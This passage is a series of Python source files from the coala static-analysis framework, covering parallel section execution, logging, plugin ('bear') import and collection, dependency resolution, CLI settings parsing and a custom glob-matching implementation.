                retval, res = print_result(global_result_dict[index],
                                           file_dict,
                                           retval,
                                           print_results,
                                           section,
                                           log_printer,
                                           file_diff_dict,
                                           ignore_ranges)
                global_result_dict[index] = res
            else:
                assert control_elem == CONTROL_ELEMENT.GLOBAL_FINISHED
                global_processes -= 1
        except queue.Empty:
            if get_running_processes(processes) < 2:  # pragma: no cover
                # Recover silently, those branches are only
                # nondeterministically covered.
                break

    if cache:
        cache.untrack_files(result_files)
    return retval


def simplify_section_result(section_result):
    """
    Takes in a section's result from ``execute_section`` and simplifies it
    for easy usage in other functions.

    :param section_result: The result of a section which was executed.
    :return:               Tuple containing:
                            - bool - True if results were yielded
                            - bool - True if unfixed results were yielded
                            - list - Results from all bears (local and global)
    """
    section_yielded_result = section_result[0]
    results_for_section = []
    for value in chain(section_result[1].values(),
                       section_result[2].values()):
        if value is None:
            continue

        for result in value:
            results_for_section.append(result)
    section_yielded_unfixed_results = len(results_for_section) > 0

    return (section_yielded_result,
            section_yielded_unfixed_results,
            results_for_section)


def execute_section(section,
                    global_bear_list,
                    local_bear_list,
                    print_results,
                    cache,
                    log_printer):
    """
    Executes the section with the given bears.

    The execute_section method does the following things:

    1. Prepare a Process
       -  Load files
       -  Create queues
    2. Spawn up one or more Processes
    3. Output results from the Processes
    4. Join all processes

    :param section:          The section to execute.
    :param global_bear_list: List of global bears belonging to the section.
    :param local_bear_list:  List of local bears belonging to the section.
    :param print_results:    Prints all given results appropriate to the
                             output medium.
    :param cache:            An instance of ``misc.Caching.FileCache`` to use as
                             a file cache buffer.
    :param log_printer:      The log_printer to warn to.
    :return:                 Tuple containing a bool (True if results were
                             yielded, False otherwise), a Manager.dict
                             containing all local results(filenames are key)
                             and a Manager.dict containing all global bear
                             results (bear names are key) as well as the
                             file dictionary.
    """
    local_bear_list = Dependencies.resolve(local_bear_list)
    global_bear_list = Dependencies.resolve(global_bear_list)

    try:
        running_processes = int(section['jobs'])
    except ValueError:
        log_printer.warn("Unable to convert setting 'jobs' into a number. "
                         "Falling back to CPU count.")
        running_processes = get_cpu_count()
    except IndexError:
        running_processes = get_cpu_count()

    processes, arg_dict = instantiate_processes(section,
                                                local_bear_list,
                                                global_bear_list,
                                                running_processes,
                                                cache,
                                                log_printer)

    logger_thread = LogPrinterThread(arg_dict["message_queue"],
                                     log_printer)
    # Start and join the logger thread along with the processes to run bears
    processes.append(logger_thread)

    for runner in processes:
        runner.start()

    try:
        return (process_queues(processes,
                               arg_dict["control_queue"],
                               arg_dict["local_result_dict"],
                               arg_dict["global_result_dict"],
                               arg_dict["file_dict"],
                               print_results,
                               section,
                               cache,
                               log_printer),
                arg_dict["local_result_dict"],
                arg_dict["global_result_dict"],
                arg_dict["file_dict"])
    finally:
        logger_thread.running = False

        for runner in processes:
            runner.join()






import queue
import threading


class LogPrinterThread(threading.Thread):
    """
    This is the Thread object that outputs all log messages it gets from
    its message_queue. Setting obj.running = False will stop within the next
    0.1 seconds.
    """

    def __init__(self, message_queue, log_printer):
        threading.Thread.__init__(self)
        self.running = True
        self.message_queue = message_queue
        self.log_printer = log_printer

    def run(self):
        while self.running:
            try:
                elem = self.message_queue.get(timeout=0.1)
                self.log_printer.log_message(elem)
            except queue.Empty:
                pass












from datetime import datetime

from coalib.output.printers.LOG_LEVEL import LOG_LEVEL


class LogMessage:

    def __init__(self,
                 log_level,
                 *messages,
                 delimiter=" ",
                 timestamp=None):
        if log_level not in LOG_LEVEL.reverse:
            raise ValueError("log_level has to be a valid LOG_LEVEL.")

        str_messages = [str(message) for message in messages]
        self.message = str(delimiter).join(str_messages).rstrip()
        if self.message == "":
            raise ValueError("Empty log messages are not allowed.")

        self.log_level = log_level
        self.timestamp = datetime.today() if timestamp is None else timestamp

    def __str__(self):
        log_level = LOG_LEVEL.reverse.get(self.log_level, "ERROR")
        return '[{}] {}'.format(log_level, self.message)

    def __eq__(self, other):
        return (isinstance(other, LogMessage) and
                other.log_level == self.log_level and
                other.message == self.message)

    def __ne__(self, other):
        return not self.__eq__(other)

    def to_string_dict(self):
        """
        Makes a dictionary which has all keys and values as strings and
        contains all the data that the LogMessage has.

        :return: Dictionary with keys and values as string.
        """
        retval = {}

        retval["message"] = str(self.message)
        retval["timestamp"] = ("" if self.timestamp == None
                               else self.timestamp.isoformat())
        retval["log_level"] = str(LOG_LEVEL.reverse.get(self.log_level, ""))

        return retval






from contextlib import ExitStack
import inspect
import os
import platform
import sys

from coalib.misc.ContextManagers import suppress_stdout
from coala_utils.decorators import arguments_to_lists, yield_once


def _import_module(file_path):
    if not os.path.exists(file_path):
        raise ImportError

    module_name = os.path.splitext(os.path.basename(file_path))[0]
    module_dir = os.path.dirname(file_path)

    if module_dir not in sys.path:
        sys.path.insert(0, module_dir)

    # Ugly inconsistency: Python will insist on correctly cased module names
    # independent of whether the OS is case-sensitive or not.
    # We want all cases to match though.
    if platform.system() == 'Windows':  # pragma: nocover
        for cased_file_path in os.listdir(module_dir):
            cased_module_name = os.path.splitext(cased_file_path)[0]
            if cased_module_name.lower() == module_name.lower():
                module_name = cased_module_name
                break

    return __import__(module_name)


def _is_subclass(test_class, superclasses):
    for superclass in superclasses:
        try:
            if issubclass(test_class, superclass):
                return True
        except TypeError:
            pass
    return False


def _has_all(obj, attribute_names):
    for attribute_name in attribute_names:
        if not hasattr(obj, attribute_name):
            return False
    return True


def object_defined_in(obj, file_path):
    """
    Check if the object is defined in the given file.

    >>> object_defined_in(object_defined_in, __file__)
    True
    >>> object_defined_in(object_defined_in, "somewhere else")
    False

    Builtins are always defined outside any given file:

    >>> object_defined_in(False, __file__)
    False

    :param obj:       The object to check.
    :param file_path: The path it might be defined in.
    :return:          True if the object is defined in the file.
    """
    try:
        source = inspect.getfile(obj)
        if (platform.system() == 'Windows' and
                source.lower() == file_path.lower() or
                source == file_path):
            return True
    except TypeError:  # Builtin values don't have a source location
        pass

    return False


def _is_defined_in(obj, file_path):
    """
    Check if a class is defined in the given file.

    Any class is considered to be defined in the given file if any of it's
    parent classes or the class itself is defined in it.
    """
    if not inspect.isclass(obj):
        return object_defined_in(obj, file_path)

    for base in inspect.getmro(obj):
        if object_defined_in(base, file_path):
            return True

    return False


@arguments_to_lists
@yield_once
def _iimport_objects(file_paths, names, types, supers, attributes, local):
    """
    Import all objects from the given modules that fulfill the requirements

    :param file_paths: File path(s) from which objects will be imported
    :param names:      Name(s) an objects need to have one of
    :param types:      Type(s) an objects need to be out of
    :param supers:     Class(es) objects need to be a subclass of
    :param attributes: Attribute(s) an object needs to (all) have
    :param local:      if True: Objects need to be defined in the file they
                       appear in to be collected
    :return:           iterator that yields all matching python objects
    :raises Exception: Any exception that is thrown in module code or an
                       ImportError if paths are erroneous.
    """
    if not file_paths or (not names and
                          not types and
                          not supers and
                          not attributes):
        return

    for file_path in file_paths:
        module = _import_module(file_path)
        for obj_name, obj in inspect.getmembers(module):
            if ((not names or obj_name in names) and
                    (not types or isinstance(obj, tuple(types))) and
                    (not supers or _is_subclass(obj, supers)) and
                    (not attributes or _has_all(obj, attributes)) and
                    (local[0] is False or _is_defined_in(obj, file_path))):
                yield obj


def iimport_objects(file_paths, names=None, types=None, supers=None,
                    attributes=None, local=False, suppress_output=False):
    """
    Import all objects from the given modules that fulfill the requirements

    :param file_paths:
        File path(s) from which objects will be imported.
    :param names:
        Name(s) an objects need to have one of.
    :param types:
        Type(s) an objects need to be out of.
    :param supers:
        Class(es) objects need to be a subclass of.
    :param attributes:
        Attribute(s) an object needs to (all) have.
    :param local:
        If True: Objects need to be defined in the file they appear in to be
        collected.
    :param suppress_output:
        Whether console output from stdout shall be suppressed or not.
    :return:
        An iterator that yields all matching python objects.
    :raises Exception:
        Any exception that is thrown in module code or an ImportError if paths
        are erroneous.
    """
    with ExitStack() as stack:
        if not suppress_output:
            stack.enter_context(suppress_stdout())

        yield from _iimport_objects(file_paths, names, types, supers,
                                    attributes, local)


def import_objects(file_paths, names=None, types=None, supers=None,
                   attributes=None, local=False, verbose=False):
    """
    Import all objects from the given modules that fulfill the requirements

    :param file_paths: File path(s) from which objects will be imported
    :param names:      Name(s) an objects need to have one of
    :param types:      Type(s) an objects need to be out of
    :param supers:     Class(es) objects need to be a subclass of
    :param attributes: Attribute(s) an object needs to (all) have
    :param local:      if True: Objects need to be defined in the file they
                       appear in to be collected
    :return:           list of all matching python objects
    :raises Exception: Any exception that is thrown in module code or an
                       ImportError if paths are erroneous.
    """
    return list(iimport_objects(file_paths, names, types, supers, attributes,
                                local, verbose))






import functools
import os
import pkg_resources
import itertools

from pyprint.NullPrinter import NullPrinter

from coalib.bears.BEAR_KIND import BEAR_KIND
from coalib.collecting.Importers import iimport_objects
from coala_utils.decorators import yield_once
from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.parsing.Globbing import fnmatch, iglob, glob_escape
from coalib.output.printers.LogPrinter import LogPrinter


def _get_kind(bear_class):
    try:
        return bear_class.kind()
    except NotImplementedError:
        return None


def _import_bears(file_path, kinds):
    # recursive imports:
    for bear_list in iimport_objects(file_path,
                                     names='__additional_bears__',
                                     types=list):
        for bear_class in bear_list:
            if _get_kind(bear_class) in kinds:
                yield bear_class
    # normal import
    for bear_class in iimport_objects(file_path,
                                      attributes='kind',
                                      local=True):
        if _get_kind(bear_class) in kinds:
            yield bear_class


@yield_once
def icollect(file_paths, ignored_globs=None):
    """
    Evaluate globs in file paths and return all matching files.

    :param file_paths:    File path or list of such that can include globs
    :param ignored_globs: List of globs to ignore when matching files
    :return:              Iterator that yields tuple of path of a matching
                          file, the glob where it was found
    """
    if isinstance(file_paths, str):
        file_paths = [file_paths]

    for file_path in file_paths:
        for match in iglob(file_path):
            if not ignored_globs or not fnmatch(match, ignored_globs):
                yield match, file_path


def collect_files(file_paths, log_printer, ignored_file_paths=None,
                  limit_file_paths=None):
    """
    Evaluate globs in file paths and return all matching files

    :param file_paths:         File path or list of such that can include globs
    :param ignored_file_paths: List of globs that match to-be-ignored files
    :param limit_file_paths:   List of globs that the files are limited to
    :return:                   List of paths of all matching files
    """
    limit_fnmatch = (functools.partial(fnmatch, globs=limit_file_paths)
                     if limit_file_paths else lambda fname: True)

    valid_files = list(filter(lambda fname: os.path.isfile(fname[0]),
                              icollect(file_paths, ignored_file_paths)))

    # Find globs that gave no files and warn the user
    if valid_files:
        collected_files, file_globs_with_files = zip(*valid_files)
    else:
        collected_files, file_globs_with_files = [], []

    _warn_if_unused_glob(log_printer, file_paths, file_globs_with_files,
                         "No files matching '{}' were found.")
    limited_files = list(filter(limit_fnmatch, collected_files))
    return limited_files


def collect_dirs(dir_paths, ignored_dir_paths=None):
    """
    Evaluate globs in directory paths and return all matching directories

    :param dir_paths:         File path or list of such that can include globs
    :param ignored_dir_paths: List of globs that match to-be-ignored dirs
    :return:                  List of paths of all matching directories
    """
    valid_dirs = list(filter(lambda fname: os.path.isdir(fname[0]),
                             icollect(dir_paths, ignored_dir_paths)))
    if valid_dirs:
        collected_dirs, _ = zip(*valid_dirs)
        return list(collected_dirs)
    else:
        return []


@yield_once
def icollect_bears(bear_dirs, bear_globs, kinds, log_printer):
    """
    Collect all bears from bear directories that have a matching kind.

    :param bear_dirs:   Directory name or list of such that can contain bears
    :param bear_globs:  Globs of bears to collect
    :param kinds:       List of bear kinds to be collected
    :param log_printer: Log_printer to handle logging
    :return:            Iterator that yields a tuple with bear class and
                        which bear_glob was used to find that bear class.
    """
    for bear_dir, dir_glob in filter(lambda x: os.path.isdir(x[0]),
                                     icollect(bear_dirs)):
        # Since we get a real directory here and since we
        # pass this later to iglob, we need to escape this.
        bear_dir = glob_escape(bear_dir)
        for bear_glob in bear_globs:
            for matching_file in iglob(
                    os.path.join(bear_dir, bear_glob + '.py')):

                try:
                    for bear in _import_bears(matching_file, kinds):
                        yield bear, bear_glob
                except pkg_resources.VersionConflict as exception:
                    log_printer.log_exception(
                        ("Unable to collect bears from {file} because there "
                         "is a conflict with the version of a dependency "
                         "you have installed. This may be resolved by "
                         "creating a separate virtual environment for coala "
                         "or running `pip install {pkg}`. Be aware that the "
                         "latter solution might break other python packages "
                         "that depend on the currently installed "
                         "version.").format(file=matching_file,
                                            pkg=exception.req),
                        exception, log_level=LOG_LEVEL.WARNING)
                except BaseException as exception:
                    log_printer.log_exception(
                        "Unable to collect bears from {file}. Probably the "
                        "file is malformed or the module code raises an "
                        "exception.".format(file=matching_file),
                        exception,
                        log_level=LOG_LEVEL.WARNING)


def collect_bears(bear_dirs, bear_globs, kinds, log_printer,
                  warn_if_unused_glob=True):
    """
    Collect all bears from bear directories that have a matching kind
    matching the given globs.

    :param bear_dirs:           Directory name or list of such that can contain
                                bears.
    :param bear_globs:          Globs of bears to collect.
    :param kinds:               List of bear kinds to be collected.
    :param log_printer:         log_printer to handle logging.
    :param warn_if_unused_glob: True if warning message should be shown if a
                                glob didn't give any bears.
    :return:                    Tuple of list of matching bear classes based on
                                kind. The lists are in the same order as kinds.
    """
    bears_found = tuple([] for i in range(len(kinds)))
    bear_globs_with_bears = set()
    for bear, glob in icollect_bears(bear_dirs, bear_globs, kinds, log_printer):
        index = kinds.index(_get_kind(bear))
        bears_found[index].append(bear)
        bear_globs_with_bears.add(glob)

    if warn_if_unused_glob:
        _warn_if_unused_glob(log_printer, bear_globs, bear_globs_with_bears,
                             "No bears were found matching '{}'.")
    return bears_found


def filter_section_bears_by_languages(bears, languages):
    """
    Filters the bears by languages.

    :param bears:       The dictionary of the sections as keys and list of
                        bears as values.
    :param languages:   Languages that bears are being filtered on.
    :return:            New dictionary with filtered out bears that don't match
                        any language from languages.
    """
    new_bears = {}
    # All bears with "all" languages supported shall be shown
    languages = set(language.lower() for language in languages) | {'all'}
    for section in bears.keys():
        new_bears[section] = tuple(
            bear for bear in bears[section]
            if {language.lower() for language in bear.LANGUAGES} & languages)
    return new_bears


def filter_capabilities_by_languages(bears, languages):
    """
    Filters the bears capabilities by languages.

    :param bears:       Dictionary with sections as keys and list of bears as
                        values.
    :param languages:   Languages that bears are being filtered on.
    :return:            New dictionary with languages as keys and their bears
                        capabilities as values. The capabilities are stored in a
                        tuple of two elements where the first one represents
                        what the bears can detect, and the second one what they
                        can fix.
    """
    languages = set(language.lower() for language in languages)
    language_bears_capabilities = {language: (
        set(), set()) for language in languages}
    for section_bears in bears.values():
        for bear in section_bears:
            bear_language = (
                ({language.lower() for language in bear.LANGUAGES} | {'all'}) &
                languages)
            language = bear_language.pop() if bear_language else ''
            capabilities = (language_bears_capabilities[language]
                            if language else tuple())
            language_bears_capabilities.update(
                {language: (capabilities[0] | bear.can_detect,
                            capabilities[1] | bear.CAN_FIX)}
                            if language else {})
    return language_bears_capabilities


def get_all_bears_names():
    from coalib.settings.Section import Section
    printer = LogPrinter(NullPrinter())
    local_bears, global_bears = collect_bears(
        Section("").bear_dirs(),
        ["**"],
        [BEAR_KIND.LOCAL, BEAR_KIND.GLOBAL],
        printer,
        warn_if_unused_glob=False)
    return [bear.name for bear in itertools.chain(local_bears, global_bears)]


def collect_all_bears_from_sections(sections, log_printer):
    """
    Collect all kinds of bears from bear directories given in the sections.

    :param sections:    List of sections so bear_dirs are taken into account
    :param log_printer: Log_printer to handle logging
    :return:            Tuple of dictionaries of local and global bears.
                        The dictionary key is section class and
                        dictionary value is a list of Bear classes
    """
    local_bears = {}
    global_bears = {}
    for section in sections:
        bear_dirs = sections[section].bear_dirs()
        local_bears[section], global_bears[section] = collect_bears(
            bear_dirs,
            ["**"],
            [BEAR_KIND.LOCAL, BEAR_KIND.GLOBAL],
            log_printer,
            warn_if_unused_glob=False)
    return local_bears, global_bears


def _warn_if_unused_glob(log_printer, globs, used_globs, message):
    """
    Warn if a glob has not been used.

    :param log_printer: The log_printer to handle logging.
    :param globs:       List of globs that were expected to be used.
    :param used_globs:  List of globs that were actually used.
    :param message:     Warning message to display if a glob is unused.
                        The glob which was unused will be added using
                        .format()
    """
    unused_globs = set(globs) - set(used_globs)
    for glob in unused_globs:
        log_printer.warn(message.format(glob))


def collect_registered_bears_dirs(entrypoint):
    """
    Searches setuptools for the entrypoint and returns the bear
    directories given by the module.

    :param entrypoint: The entrypoint to find packages with.
    :return:           List of bear directories.
    """
    collected_dirs = []
    for ep in pkg_resources.iter_entry_points(entrypoint):
        registered_package = None
        try:
            registered_package = ep.load()
        except pkg_resources.DistributionNotFound:
            continue
        collected_dirs.append(os.path.abspath(
            os.path.dirname(registered_package.__file__)))
    return collected_dirs






class CircularDependencyError(Exception):

    @classmethod
    def for_bears(cls, bears):
        """
        Creates the CircularDependencyError with a helpful message about the
        dependency.
        """
        bear_names = [bear.name for bear in bears]

        return cls("Circular dependency detected: " + " -> ".join(bear_names))


def _resolve(bears, resolved_bears, seen):
    for bear in bears:
        if bear in resolved_bears:
            continue

        missing = bear.missing_dependencies(resolved_bears)
        if not missing:
            resolved_bears.append(bear)
            continue

        if bear in seen:
            seen.append(bear)
            raise CircularDependencyError.for_bears(seen)

        seen.append(bear)
        resolved_bears = _resolve(missing, resolved_bears, seen)
        resolved_bears.append(bear)
        seen.remove(bear)  # Already resolved, no candidate for circular dep

    return resolved_bears


def resolve(bears):
    """
    Collects all dependencies of the given bears. This will also remove
    duplicates.

    :param bears: The given bears. Will not be modified.
    :return:      The new list of bears, sorted so that it can be executed
                  sequentially without dependency issues.
    """
    return _resolve(bears, [], [])












import os
from argparse import ArgumentParser
from collections import OrderedDict

from coalib.parsing.DefaultArgParser import default_arg_parser
from coalib.parsing.LineParser import LineParser
from coalib.settings.Section import Section, append_to_sections


def parse_cli(arg_list=None,
              origin=os.getcwd(),
              arg_parser=None,
              key_value_delimiters=('=', ':'),
              comment_seperators=(),
              key_delimiters=(',',),
              section_override_delimiters=(".",)):
    """
    Parses the CLI arguments and creates sections out of it.

    :param arg_list:                    The CLI argument list.
    :param origin:                      Directory used to interpret relative
                                        paths given as argument.
    :param arg_parser:                  Instance of ArgParser that is used to
                                        parse none-setting arguments.
    :param key_value_delimiters:        Delimiters to separate key and value
                                        in setting arguments.
    :param comment_seperators:          Allowed prefixes for comments.
    :param key_delimiters:              Delimiter to separate multiple keys of
                                        a setting argument.
    :param section_override_delimiters: The delimiter to delimit the section
                                        from the key name (e.g. the '.' in
                                        sect.key = value).
    :return:                            A dictionary holding section names
                                        as keys and the sections themselves
                                        as value.
    """
    arg_parser = default_arg_parser() if arg_parser is None else arg_parser
    origin += os.path.sep
    sections = OrderedDict(default=Section('Default'))
    line_parser = LineParser(key_value_delimiters,
                             comment_seperators,
                             key_delimiters,
                             {},
                             section_override_delimiters)

    for arg_key, arg_value in sorted(
            vars(arg_parser.parse_args(arg_list)).items()):
        if arg_key == 'settings' and arg_value is not None:
            parse_custom_settings(sections,
                                  arg_value,
                                  origin,
                                  line_parser)
        else:
            if isinstance(arg_value, list):
                arg_value = ",".join([str(val) for val in arg_value])

            append_to_sections(sections,
                               arg_key,
                               arg_value,
                               origin,
                               from_cli=True)

    return sections


def parse_custom_settings(sections,
                          custom_settings_list,
                          origin,
                          line_parser):
    """
    Parses the custom settings given to coala via ``-S something=value``.

    :param sections:             The Section dictionary to add to (mutable).
    :param custom_settings_list: The list of settings strings.
    :param origin:               The originating directory.
    :param line_parser:          The LineParser to use.
    """
    for setting_definition in custom_settings_list:
        (_, key_tuples, value, _) = line_parser.parse(setting_definition)
        for key_tuple in key_tuples:
            append_to_sections(sections,
                               key=key_tuple[1],
                               value=value,
                               origin=origin,
                               section_name=key_tuple[0],
                               from_cli=True)


def check_conflicts(sections):
    """
    Checks if there are any conflicting arguments passed.

    :param sections:    The ``{section_name: section_object}`` dictionary to
                        check conflicts for.
    :return:            True if no conflicts occur.
    :raises SystemExit: If there are conflicting arguments (exit code: 2)
    """
    for section in sections.values():
        if (
                section.get('no_config', False) and
                (section.get('save', False) or
                 section.get('find_config', False))):
            ArgumentParser().error(
                "'no_config' cannot be set together 'save' or 'find_config'.")

    return True






import os
import platform
import re
from functools import lru_cache

from coala_utils.decorators import yield_once
from coalib.misc.Constants import GLOBBING_SPECIAL_CHARS


def _end_of_set_index(string, start_index):
    """
    Returns the position of the appropriate closing bracket for a glob set in
    string.

    :param string:      Glob string with wildcards
    :param start_index: Index at which the set starts, meaning the position
                        right behind the opening bracket
    :return:            Position of appropriate closing bracket
    """
    length = len(string)
    closing_index = start_index
    if closing_index < length and string[closing_index] == '!':
        closing_index += 1

    if closing_index < length:  # the set cannot be closed by a bracket here
        closing_index += 1

    while closing_index < length and string[closing_index] != ']':
        closing_index += 1

    return closing_index


def glob_escape(input_string):
    """
    Escapes the given string with ``[c]`` pattern. Examples:

    >>> from coalib.parsing.Globbing import glob_escape
    >>> glob_escape('test (1)')
    'test [(]1[)]'
    >>> glob_escape('test folder?')
    'test folder[?]'
    >>> glob_escape('test*folder')
    'test[*]folder'

    :param input_string: String that is to be escaped with ``[ ]``.
    :return:             Escaped string in which all the special glob characters
                         ``()[]|?*`` are escaped.
    """
    return re.sub("(?P<char>[" + re.escape(GLOBBING_SPECIAL_CHARS) + "])",
                  "[\\g<char>]", input_string)


def _position_is_bracketed(string, position):
    """
    Tests whether the char at string[position] is inside a valid pair of
    brackets (and therefore loses its special meaning)

    :param string:   Glob string with wildcards
    :param position: Position of a char in string
    :return:         Whether or not the char is inside a valid set of brackets
    """
    # allow negative positions and trim too long ones
    position = len(string[:position])

    index, length = 0, len(string)
    while index < position:
        char = string[index]
        index += 1
        if char == '[':
            closing_index = _end_of_set_index(string, index)
            if closing_index < length:
                if index <= position < closing_index:
                    return True
                index = closing_index + 1
            else:
                return False
    return False


def _boundary_of_alternatives_indices(pattern):
    """
    Determines the location of a set of alternatives in a glob pattern.
    Alternatives are defined by a matching set of non-bracketed parentheses.

    :param pattern: Glob pattern with wildcards.
    :return:        Indices of the innermost set of matching non-bracketed
                    parentheses in a tuple. The Index of a missing parenthesis
                    will be passed as None.
    """
    # Taking the leftmost closing parenthesis and the rightmost opening
    # parenthesis left of it ensures that the parentheses belong together and
    # the pattern is parsed correctly from the most nested section outwards.
    end_pos = None
    for match in re.finditer('\\)', pattern):
        if not _position_is_bracketed(pattern, match.start()):
            end_pos = match.start()
            break  # break to get leftmost

    start_pos = None
    for match in re.finditer('\\(', pattern[:end_pos]):
        if not _position_is_bracketed(pattern, match.start()):
            start_pos = match.end()
            # no break to get rightmost

    return start_pos, end_pos


@yield_once
def _iter_choices(pattern):
    """
    Iterate through each choice of an alternative. Splits pattern on '|'s if
    they are not bracketed.

    :param pattern: String of choices separated by '|'s
    :return:        Iterator that yields parts of string separated by
                    non-bracketed '|'s
    """
    start_pos = 0
    split_pos_list = [match.start() for match in re.finditer('\\|', pattern)]
    split_pos_list.append(len(pattern))
    for end_pos in split_pos_list:
        if not _position_is_bracketed(pattern, end_pos):
            yield pattern[start_pos: end_pos]
            start_pos = end_pos + 1


@yield_once
def _iter_alternatives(pattern):
    """
    Iterates through all glob patterns that can be obtaines by combination of
    all choices for each alternative

    :param pattern: Glob pattern with wildcards
    :return:        Iterator that yields all glob patterns without alternatives
                    that can be created from the given pattern containing them.
    """
    start_pos, end_pos = _boundary_of_alternatives_indices(pattern)

    if None in (start_pos, end_pos):
        yield pattern
    else:
        # iterate through choices inside of parenthesis (separated by '|'):
        for choice in _iter_choices(pattern[start_pos: end_pos]):
            # put glob expression back together with alternative:
            variant = pattern[:start_pos-1] + choice + pattern[end_pos+1:]

            # iterate through alternatives outside of parenthesis
            # (pattern can have more alternatives elsewhere)
            for glob_pattern in _iter_alternatives(variant):
                yield glob_pattern


def translate(pattern):
    """
    Translates a pattern into a regular expression.

    :param pattern: Glob pattern with wildcards
    :return:        Regular expression with the same meaning
    """
    index, length = 0, len(pattern)
    regex = ''
    while index < length:
        char = pattern[index]
        index += 1
        if char == '*':
            # '**' matches everything
            if index < length and pattern[index] == '*':
                regex += '.*'
            # on Windows, '*' matches everything but the filesystem
            # separators '/' and '\'.
            elif platform.system() == 'Windows':  # pragma: nocover (Windows)
                regex += '[^/\\\\]*'
            # on all other (~Unix-) platforms, '*' matches everything but the
            # filesystem separator, most likely '/'.
            else:
                regex += '[^' + re.escape(os.sep) + ']*'
        elif char == '?':
            regex += '.'
        elif char == '[':
            closing_index = _end_of_set_index(pattern, index)
            if closing_index >= length:
                regex += '\\['
            else:
                sequence = pattern[index:closing_index].replace('\\', '\\\\')
                index = closing_index+1
                if sequence[0] == '!':
                    sequence = '^' + sequence[1:]
                elif sequence[0] == '^':
                    sequence = '\\' + sequence
                regex += '[' + sequence + ']'
        else:
            regex = regex + re.escape(char)
    return regex + '\\Z(?ms)'


def fnmatch(name, globs):
    """
    Tests whether name matches one of the given globs.

    :param name:  File or directory name
    :param globs: Glob string with wildcards or list of globs
    :return:      Boolean: Whether or not name is matched by glob

    Glob Syntax:

    -  '[seq]':         Matches any character in seq. Cannot be empty. Any
                        special character looses its special meaning in a set.
    -  '[!seq]':        Matches any character not in seq. Cannot be empty. Any
                        special character looses its special meaning in a set.
    -  '(seq_a|seq_b)': Matches either sequence_a or sequence_b as a whole.
                        More than two or just one sequence can be given.
    -  '?':             Matches any single character.
    -  '*':             Matches everything but os.sep.
    -  '**':            Matches everything.
    """
    globs = (globs,) if isinstance(globs, str) else tuple(globs)

    if len(globs) == 0:
        return True

    name = os.path.normcase(name)

    return any(compiled_pattern.match(name)
               for glob in globs
               for compiled_pattern in _compile_pattern(glob))


@lru_cache()
def _compile_pattern(pattern):
    return tuple(re.compile(translate(os.path.normcase(
                     os.path.expanduser(pat))))
                 for pat in _iter_alternatives(pattern))


def _absolute_flat_glob(pattern):
    """
    Glob function for a pattern that do not contain wildcards.

    :pattern: File or directory path
    :return:  Iterator that yields at most one valid file or dir name
    """
    dirname, basename = os.path.split(pattern)

    if basename:
        if os.path.exists(pattern):
            yield pattern
    else:
        # Patterns ending with a slash should match only directories
        if os.path.isdir(dirname):
            yield pattern
    return


def _iter_relative_dirs(dirname):
    """
    Recursively iterates subdirectories of all levels from dirname

    :param dirname: Directory name
    :return:        Iterator that yields files and directory from the given dir
                    and all it's (recursive) subdirectories
    """
    if not dirname:
        dirname = os.curdir
    try:
        files_or_dirs = os.listdir(dirname)
    except os.error:
        return
    for file_or_dir in files_or_dirs:
        yield file_or_dir
        path = os.path.join(dirname, file_or_dir)
        for sub_file_or_dir in _iter_relative_dirs(path):
            yield os.path.join(file_or_dir, sub_file_or_dir)


def relative_wildcard_glob(dirname, pattern):
    """
    Non-recursive glob for one directory. Accepts wildcards.

    :param dirname: Directory name
    :param pattern: Glob pattern with wildcards
    :return:        List of files in the dir of dirname that match the pattern
    """
    if not dirname:
        dirname = os.curdir
    try:
        if '**' in pattern:
            names = list(_iter_relative_dirs(dirname))
        else:
            names = os.listdir(dirname)
    except OSError:
        return []
    result = []
    pattern = os.path.normcase(pattern)
    match = re.compile(translate(pattern)).match
    for name in names:
        if match(os.path.normcase(name)):
            result.append(name)
    return result


def relative_flat_glob(dirname, basename):
    """
    Non-recursive glob for one directory. Does not accept wildcards.

    :param dirname:  Directory name
    :param basename: Basename of a file in dir of dirname
    :return:         List containing Basename if the file exists
    """
    if os.path.exists(os.path.join(dirname, basename)):
        return [basename]
    return[]


def relative_recursive_glob(dirname, pattern):
    """
    Recursive Glob for one directory and all its (nested) subdirectories.
    Accepts only '**' as pattern.

    :param dirname: Directory name
    :param pattern: The recursive wildcard '**'
    :return:        Iterator that yields all the (nested) subdirectories of the
                    given dir
    """
    assert pattern == '**'
    if dirname:
        yield pattern[:0]
    for relative_dir in _iter_relative_dirs(dirname):
        yield relative_dir


wildcard_check_pattern = re.compile('([*?[])')


def has_wildcard(pattern):
    """
    Checks whether pattern has any wildcards.

    :param pattern: Glob pattern that may contain wildcards
    :return:        Boolean: Whether or not there are wildcards in pattern
    """
    match = wildcard_check_pattern.search(pattern)
    return match is not None


def iglob(pattern):
    """
    Iterates all filesystem paths that get matched by the glob pattern.
    Syntax is equal to that of fnmatch.

    :param pattern: Glob pattern with wildcards
    :return:        Iterator that yields all file names that match pattern
    """
    for pat in _iter_alternatives(pattern):
        pat = os.path.expanduser(pat)
        pat = os.path.normcase(pat)
        dirname, basename = os.path.split(pat)
        if not has_wildcard(pat):
            for file in _absolute_flat_glob(pat):
                yield file
            return

        if basename == '**':
            relative_glob_function = relative_recursive_glob
        elif has_wildcard(basename):
            relative_glob_function = relative_wildcard_glob
        else:
            relative_glob_function = relative_flat_glob

        if not dirname:
            for file in relative_glob_function(dirname, basename):
                yield file
            return

        # Prevent an infinite recursion if a drive or UNC path contains
        # wildcard characters (i.e. r'\\?\C:').
        if dirname != pat and has_wildcard(dirname):
            dirs = iglob(dirname)
        else:
            dirs = [dirname]

        for dirname in dirs:
            for name in relative_glob_function(dirname, basename):
                yield os.path.join(dirname, name)


def glob(pattern):
    """
    Iterates all filesystem paths that get matched by the glob pattern.
    Syntax is equal to that of fnmatch.

    :param pattern: Glob pattern with wildcards
    :return:        List of all file names that match pattern
    """
    return list(iglob(pattern))






from coala_utils.string_processing.StringConverter import StringConverter
from coala_utils.string_processing import (unescape, convert_to_raw,
                                           position_is_escaped,
                                           unescaped_rstrip)


class LineParser:

    def __init__(self,
                 key_value_delimiters=('=',),
                 comment_separators=('#',),
                 key_delimiters=(',', ' '),
                 section_name_surroundings=None,
                 section_override_delimiters=(".",)):
        """
        Creates a new line parser. Please note that no delimiter or separator
        may be an "o" or you may encounter undefined behaviour with the
        escapes.

        :param key_value_delimiters:        Delimiters that delimit a key from
                                            a value
        :param comment_separators:          Used to initiate a comment
        :param key_delimiters:              Delimiters between several keys
        :param section_name_surroundings:   Dictionary, e.g. {"[", "]"} means a
                                            section name is surrounded by [].
                                            If None, {"[": "]"} is used as
                                            default.
        :param section_override_delimiters: Delimiter for a section override.
